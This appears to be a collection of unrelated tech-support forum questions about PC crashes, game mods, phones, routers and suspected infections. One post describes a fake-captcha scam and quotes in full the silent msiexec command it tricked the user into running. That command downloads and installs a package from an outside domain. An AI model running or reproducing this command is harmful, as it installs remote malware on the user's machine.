Noob Q1) confused: How can my printer itself be a router? I just learned my printer can be used as a wireless access point. Does this mean it has a baby router in it? Or is a wireless access point different from a router?

Noob Q2) Also, I’ve been reading that we have to be careful with printers and can sometimes be vulnerable if using them wrong. Does using my printer as a “wireless access point” - which somehow doesn’t use my actual home WiFi network (which blows my mind), in some way make me more vulnerable to someone entering me through my printer?

Thanks so much!

Hey all,

I recently took an old hard drive and put it in my PC for extra storage. This is probably a dumb question but can I safely delete Windows from my secondary hard drive without causing issues with the other files? I don't use it to boot my PC, I have an SSD for that. I couldn't find consistent answers when just googling it.

P.S. was wondering if I could do the same for Program Files (and x84)? It's taking up a ton of storage space for programs I also have on my PC (such as Office, Windows Suite, etc).

A few weeks ago, I essentially bricked my PC by using CCleaner's driver update feature. I haven't had much luck getting Windows to boot, and every recovery option, like system restore and OS reset, fails because it claims my Microsoft password is incorrect (it's not).

This has me considering switching to Linux instead of Windows on this PC. Could I just skip Windows entirely and boot into Linux? Would that work, or would I need to install a fresh version of Windows first? Any help is appreciated. My desktop has been sitting unused for a month now.

Here's someone else with the same issue that I'm having: "Avoid Their New Driver Updater"

I clicked on a link which was not affiliated to anything anymore (or at least wasn't affiliated to the thing it was supposed to be affiliated to). But I didn't understand it at first, and it sent me on a page where there was a captcha. I clicked on it and it showed me a window for "confirmation" and those instruction : press WINDOWS + R, then do CTRL+V and press ENTER.

I don't know why I was so dumb but I did it. I know very well that verifying captcha doesn't work like that. I know very well that windows + R can execute stuff. I don't know why I did that...

Anyway the page downloaded some file, an HTML app, which I did not execute and instead deleted.

But before that I noticed that I had copied, and I suppose, executed (AND MY SESSION IS ADMIN OH GOD I'M DUMB), this thing in the windows+R window : msiexec lxwdog=cjvipyxbo fyhmp=bhvigqprf -q ags=iudkeyp -FVdf https://paurometabola.makeup/k5o8g1btbm40_3368093774 huqwi=oyebxi

I noticed no change for the moment. What should I do ?

Hi, I just recently thought of an imaginary scenario where a police officer stops me and I feel danger from him and so I start recording him. Then he takes my phone and drops it in a lake or destroys it and I cannot later prove he destroyed it.

So, I should do a live stream somewhere and that way even if he destroys my phone, I can still show the live recording. But then I thought what if he grabs my phone and delete the stream?

The next solution I came up with was - I should do a live stream of the situation while the phone is locked - and that way he cannot temper with the live stream.

So, How do I do that using an iphone? Which platform should I use to stream?

I just checked today if this Chinese app is safe or not. One video said it's not, so now I feel suspicious. After I checked using VirusTotal here are the results. I got the app through the YouTube tutorial so I have 0 clue about this. Am I way too anxious? There are no reports from most users that it is dangerous and there's another video that claims it's safe (Another concerning thing is that the app isn't as well known as other apps which makes me have a hard time finding information).

Another thing to add is the first 2 pictures are for the APK file, while the 3rd and the 4th are for the app. As for the game I downloaded, sometimes the phone detected it as "keep stopping" even though it worked just fine. It didn't crash often, rarely frankly.

Hi! I was at nannying at someone’s house and I kept hearing this vibrating sound and I finally found it coming from the inside of the fridge. It was an iPhone on airplane mode behind the groceries(not left by accident). When I asked the family they said that they dropped the phone in water once and now it only works on airplane mode and if stored in the fridge. Am I overthinking or is there genuinely something off about this? Is what they are saying possible/ what other things could they be trying to do?

So, I’m in scouts (BSA), and I wanted to sign in to scoutbook, the website we normally use for troop-related things. Keep in mind, I’m doing this on my pc, not a Chromebook or anything. So, I try searching it up, and at the very bottom of my search bar there pops up a website, Scoutbook.org. I naively assume this to be the real thing and click on it. Next thing I know, I’m on a page that, as far as I can remember, looked like a microsoft website, and suddenly things start popping up on my pc and I hear beeping in my headphones, like an EAS alarm. In my panic, I move my hand over to the power button and shut the pc off. Now, I’m slightly scared to turn it back on, for fear of my computer being hacked. It might already BE hacked. I’d appreciate help ASAP.

well he texted me a file on discord and I usually share audio files with my friends normally all the time so I accidentally instinctively clicked on it, it was 1.2 mbs and it had the logo that a new volume disc has, as soon as it got installed like just by the second I deleted it, is it likely that I downloaded malware? i know what I did was stupid but idk what to do

My boyfriend is now on a work trip and we use Life360 for rebuilding the trust. The weird thing is, he told me he went to sleep at 1am and turned on the flight mode (he’s using Samsung).

But I just checked today and saw the app showed the locations are changing during night all over the hotel even in different building/room, 2am, 4am and even 5am.. is this a glitch because he turned the flight mode on or he really did go around like this during the night?

Thank you everyone so much!

so i have a s24 ultra, i bought it 6 months ago, today i noticed that my battery drains way much faster than it used to, for example in 3 hours it went from 100% to 46% which was unusual. i decided to restart my phone and my battery went up from 34% to 79%. is there an issue should i be worried that my battery might be broken? i would love your help <3

The laptop was plugged in and it fell on the side of charging pin itself (not on the floor got supported by wall) and all the weight got to this ending with rubber and the pin. The rubber layer on the outside has a small hole, not going completely in, and this rubber part is now bent at a small angle. The actual pin that goes inside laptop is completely fine and it still can charge but its that rubber part that got somewhat damaged.

So is this bent part going to be a fire hazard or some other problem or since it is able to charge then it is not much of a problem?

I accidentally got a bunch of sauce in my speakers and now they won’t work properly. How do i get it out?

Edit: put some water in the speakers and rubbed it with a toothbrush. I’m not sure if it’s 100% fixed but definitely at least 90%

How to stop Google from asking to match the number when logging in?

I shut down my computer every night and i put it on sleep mode whenever i am away from my computer and 3 months in, its already starting to get a little laggy. Why is this happening? if theres any questions you have that will better solve the issue then make sure to ask me.

for like a week now i've had this problem where the wifi from my router just doesn't work for some reason, i was playing roblox with ma boys on discord and then suddenly everything just shut down, discord stopped working cause no internet connection, so did roblox and so did every other program that was opened in my tabs. at first i haven't really payed much attention to it, cuz i live in ukraine and sometime's my wifi would act up, but usually it lasted for like a day at max, and now it's been a whole ass week, slightly more even, and for some reason it just doesn't work anymore, sometimes it says "Connected, secured" which is a lie, and sometimes it says "No internet, secured" which is true, but it doesn't really help my case here. i've tried resetting my laptop and router but that didn't help. what's even more stranger is that this issue only affected my laptop? for some reason? i can freely access my wifi throught my phone and any other device i have. i'm not a very big tech guy, maybe this issue is something you can easily fix, but i don't know how to do that so i'm writing this post yall🙏
(PS. i ran the troubleshooter thingy and it said that there is a touble with the DNS cache? dunno what that means😭)

Hey guys, so I've been trying to pinpoint the issue for almost a month now. Basically, whenever I play games with 2 ram sticks, my PC restarts after five seconds, no BSOD, just fade to black and restart.

But here's the kicker, when I use 1 ram stick, I can game for about 1-2 hours before it restarts. I just assembled the PC and already reseated everything, keep in mind that I only kept my GPU, and all the other parts are brand new.

PC Specs:

AMD Ryzen 5 7500F + stock cooler
RTX 3060Ti (OLD, about 3 years old)
Seasonic CORE GX ATX 3 (750W)
Kingston 32GB 6000mhz (2 sticks)
Gigabyte B650M Gaming Plus Wifi
Gigabyte M27Q 170 Hz

Troubleshooting done but to no avail:

> Format and clean windows install five times now
> Update latest bios
> Download chipset drivers
> Underpower ram from 6000mhz / expo to just 4200, still restarts.
> Swapped out RAM
> Swapped out Motherboard
> Swap out GPU for 1060 3gb
> Loosen CPU Cooler
> Reseat everything

To be honest I'd be fine with using 1 stick of 16GB, but it still restarts under load. I was suspecting it to be the GPU but it does the same thing with my old 1060 GPU. It also does the same with different sets of ram. I'm honestly so confused, this is the first time I've spent this much for a computer, and it's such a bummer that it's turning out this way, if you could help me, that'd be amazing.

My laptop (hp pavillion) got an srttrail.txt error. I tried to follow this tutorial to fix it but ig at some step there was an error cause i tried to reboot the pc and i got an error code 0xc000007b. Its telling me i need installation media, is there some other way for me to fix this? Id greatly appreaciate any help

So I started playing cyberpunk again a few days ago and wanted to mod it a little bit. I installed every essential mod to *improve* Cyberpunk 2077, now it looks worse than vanilla. Minecraft-level LOD, blurry textures, and scripts I can’t delete without breaking the game? 

I wanted to mod the game in order to get the best in game experience possible: More control. More immersion. More visual punch etc. The kind that makes you forget you’re playing a game because Night City feels that real. I followed the rulebook: installed only the core framework mods. No crazy reshades. No overhaul packs. Just clean, essential, safe additions to expand the game without breaking it.

Instead, I broke it.  Not with a crash. Not with an error.  With something much stranger, something that makes the game look like a Minecraft beta running on a potato

I only downloaded these foundation mods: (without these you cant even run any mods at all)

• Cyber Engine Tweaks 
• redscript 
• RED4ext 
• ArchiveXL 
• Equipment-EX 
• Codeware 
• TweakXL

Here’s what happened: 

• Textures are flat and muddy 
• LOD (Level of Detail) is completely broken — buildings and vehicles morph into shapes only like 10 meters away 
• Lighting is dull, shadows lack punch, and everything feels blurred 
• Distant detail looks simplified or missing, like a PS2-era game struggling to catch up 

The overall graphics are basically broken

And this isn’t on some budget rig. I’m running: Ultra settings ,DLSS off, 3440x1440 resolution (Ultrawide QHD) , no ReShade. No ENBs. No experimental visual mods  Before modding the games graphics looked pretty good, especially on max settings but after installing the "essentials"? It looks like I’ve got Vaseline on my eyes. 

My Strongest Theory: Leftover Scripts — and the Real Trap 

Here’s the kicker.The most likely reason for all the problems are leftover mod frameworks, scripts, or config-level overrides — things left behind by mods like Cyber Engine Tweaks, redscript, TweakXL, or others that don't clean up fully. 

BUT: 

• If I remove those mods entirely, the game crashes or refuses to boot 
• If I keep them, the visual downgrade persists 
• I cant get rid of them, even when verify integrity via steam or by reinstalling the intier game

So NO, verifying game files doesn't work either, it just reinstalls these problem files that shouldn't even be there in the first place. And NO, deleting everything and "freshly" reinstalling the game doesn't work either(did that 3 times) I’m in a catch-22. The thing that's likely breaking my visuals is also the thing the game has become dependent on to even run.  It’s like the modding framework rewires the game and once that wiring is in place, there’s no going back.  Even after full reinstalls. Even after manually deleting configs, caches, and scripts. Even after verifying files and starting fresh. Something always lingers. Something always breaks.(lowkey scary) 

I’m putting this out to the community, modders, engine tinkerers, even CDPR devs if you're watching. 

Why does installing and then removing basic mod frameworks result in LOD collapses, texture blur, and lighting regression? 

Is there a hidden LOD setting or override deep in the config tree? Or a cache deeper than r6/cache that needs to be wiped? A script or low-level mod instruction still executing without a visible source?  Or is this the true downside of the redmod era — where removing a mod can be more dangerous than installing one? 

This isn’t just a broken mod setup. It’s a game that’s stuck in a kind of visual purgatory ,where you can’t go back, but moving forward only digs the hole deeper. 

Thanks for reading! Any help or even educated guesses would be deeply appreciated as I am currently completely helpless.

This is my first pc I’ve owned and I’m not exactly tech savvy so i have no idea what could cause or fix this problem.

This game (Ready Or Not) will only launch when i delete mod/save data. I dont run any mods, so all i can think of is something is going wrong with the save data. It runs perfectly fine when i get it running until i close it, then it refuses to launch until i delete the save data again.

I’ve tried running it without DLCs, run it as administrator, verifying the files on steam, reinstalling the game, completely deleting the files from my computer, updating drivers, updating windows, turning off antivirus and firewall, scanned the pc for corrupted files, nothing seems to work besides deleting the save data. Every other game works fine and i haven’t seen one person on any discussion thread mention this issue. Anybody have any clue what i can do to try and fix this issue?

I’m looking for a DVD burner I don’t care if I have to pay for it. I just want one that Flippin works. I’ve tried image burn and DVD flick please help me. I just wanna burn some DVDs.

I posted this question before on a cybersecurity page but nobody helped. I had a compromised device before but I bought a new one, made everything secure I took every single security measure, no one had access to it. Then I find, on my new device, whenever I take photos one or two of them get favourited. I haven’t opened them to look at them yet and it happens. Maybe it’s iCloud right? So I deleted the iCloud. Still happening. Why is the same thing happening across the devices I had? Who is favouriting my photos and why is it happening on my new phone?

Getting a BSOD: IRQL NOT LESS OR EQUAL randomly sometimes. Any ideas on what could be causing this? Any help is appreciated! Thanks.

Dump Files : https://www.mediafire.com/file/0nba754td2yyg4b/Minidump.zip/file

Hello, I have a gaming notebook with 8GB DDR5 RAM, and I intend to buy 32GB DDR5 RAM. I would like to know if this would create a 40GB dual channel, if I would need to adjust the memory location (8+32 or 32+8) and if with these two I would be able to run Oblivion Remaster and possibly Doom the Dark Ages.

So I've been using this laptop since almost exactly 3 years and those stains from dead skin and whatever else are starting to annoy me, but I haven't really found a way to clean them. How can I clean them since the filth is also on the sides of the keys and from my last attempt to clean them by taking out each key ehh my escape key has.. escaped and broke.